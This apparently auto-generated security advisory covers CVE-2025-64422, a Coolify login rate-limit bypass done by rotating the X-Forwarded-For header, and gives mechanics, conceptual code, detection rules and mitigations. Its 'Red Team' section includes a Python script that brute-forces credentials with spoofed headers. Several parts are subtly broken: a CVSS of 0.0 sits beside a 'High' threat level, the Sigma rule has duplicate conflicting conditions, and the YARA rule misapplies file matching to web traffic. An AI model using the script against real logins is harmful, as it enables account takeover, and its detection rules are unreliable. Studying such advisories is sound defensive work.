CVE-2025-64422

Executive Summary

CVE-2025-64422 identifies a critical security flaw in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The vulnerability resides in the /login endpoint, which advertises a rate limit of 5 requests but can be trivially bypassed by rotating the X-Forwarded-For header. This allows an attacker to perform unlimited credential stuffing and brute-force attacks against user and admin accounts. The vulnerability affects Coolify versions starting from 4.0.0-beta.434. As of the time of publication, the patch status is unknown, and no official fix has been released.

Supply Chain & Package Security

Coolify is a self-hosted application, not a package distributed via NPM, PyPI, Go, or Ruby. Therefore, supply chain risks are limited to the application's own codebase and dependencies. However, the lack of a patch means that all instances running the affected version are vulnerable until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (potential account compromise)
• Integrity Impact: Low (potential account compromise)
• Availability Impact: None
• Threat Level: High (due to ease of exploitation and potential for account takeover)

Deep Dive & Mechanics

The vulnerability is a classic rate-limiting bypass via the X-Forwarded-For header. The /login endpoint in Coolify implements a rate limit of 5 requests per IP address. However, the rate limiter relies on the client's IP address as provided by the X-Forwarded-For header, which can be easily spoofed by an attacker. By rotating the X-Forwarded-For header with each request (e.g., using a list of proxy IPs or random IPs), the attacker can bypass the rate limit and perform unlimited login attempts.

This is a common misconfiguration in web applications that trust the X-Forwarded-For header without proper validation. The correct approach is to use the actual client IP from the TCP connection or to validate the X-Forwarded-For header against a trusted proxy list.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Vulnerable rate limiter
def get_client_ip(request):
    return request.headers.get('X-Forwarded-For', request.remote_addr)

def login(request):
    ip = get_client_ip(request)
    if rate_limiter.is_rate_limited(ip):
        return "Rate limit exceeded", 429
    # Process login

Patched Code (Conceptual):

# Patched rate limiter using actual client IP
def get_client_ip(request):
    # Use the actual client IP from the TCP connection
    return request.remote_addr

def login(request):
    ip = get_client_ip(request)
    if rate_limiter.is_rate_limited(ip):
        return "Rate limit exceeded", 429
    # Process login

The patched version uses request.remote_addr (the actual client IP) instead of the X-Forwarded-For header, preventing header spoofing.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Coolify version 4.0.0-beta.434 or later in a controlled environment.
2. Ensure the /login endpoint is accessible.

Exploitation Steps:

1. Use a script to send login requests with rotating X-Forwarded-For headers.
2. Example Python script:

import requests
import random

target_url = "http://target/login"
usernames = ["admin", "user1", "user2"]
passwords = ["password123", "admin123", "letmein"]

for username in usernames:
    for password in passwords:
        headers = {
            "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
        }
        data = {"username": username, "password": password}
        response = requests.post(target_url, headers=headers, data=data)
        if "Login successful" in response.text:
            print(f"Found credentials: {username}:{password}")
            break

3. Observe that the rate limit is bypassed and unlimited login attempts are possible.

Blue Team

Detection Steps:

1. Monitor for multiple login attempts from different X-Forwarded-For IPs within a short time frame.
2. Look for patterns where the X-Forwarded-For header changes rapidly while the actual client IP remains the same.
3. Implement logging of both the X-Forwarded-For header and the actual client IP.

Mitigation Steps:

1. Immediately apply a workaround by configuring the web server (e.g., Nginx) to strip or validate the X-Forwarded-For header.
2. Implement rate limiting based on the actual client IP from the TCP connection.
3. Use a Web Application Firewall (WAF) to detect and block brute-force attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Multiple login requests to /login endpoint with varying X-Forwarded-For headers.
  • High frequency of login attempts from a single source IP but with different X-Forwarded-For values.
• Host IOCs:
  • Log entries showing repeated login failures from different X-Forwarded-For IPs.
  • Unusual patterns in web server logs where the X-Forwarded-For header changes rapidly.

Detection Engineering

YARA Rule

rule CVE_2025_64422_Coolify_Rate_Limit_Bypass {
    meta:
        description = "Detects attempts to bypass Coolify login rate limit via X-Forwarded-For header rotation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64422"
    strings:
        $x_forwarded_for = "X-Forwarded-For"
        $login_endpoint = "/login"
        $rate_limit = "Rate limit exceeded"
    condition:
        $x_forwarded_for and $login_endpoint and #rate_limit > 5
}

Sigma Rule

title: Coolify Login Rate Limit Bypass via X-Forwarded-For
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple login attempts with varying X-Forwarded-For headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/login"
        cs(User-Agent): "*"
    condition: selection
    timeframe: 5m
    condition: selection | count(c-ip) by cs(User-Agent) > 10
falsepositives:
    - Legitimate proxy usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64422 Coolify Login Rate Limit Bypass"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"X-Forwarded-For"; http_header; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Workaround: Configure the web server (e.g., Nginx) to strip the X-Forwarded-For header from incoming requests or validate it against a trusted proxy list.
2. Rate Limiting: Implement rate limiting based on the actual client IP from the TCP connection, not the X-Forwarded-For header.
3. Monitoring: Enable logging of both the X-Forwarded-For header and the actual client IP to detect abuse.

Long-Term Fix:

• Apply the official patch once it becomes available from the Coolify maintainers.
• Consider implementing multi-factor authentication (MFA) to mitigate brute-force attacks.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further analysis or assistance, contact Valters IT.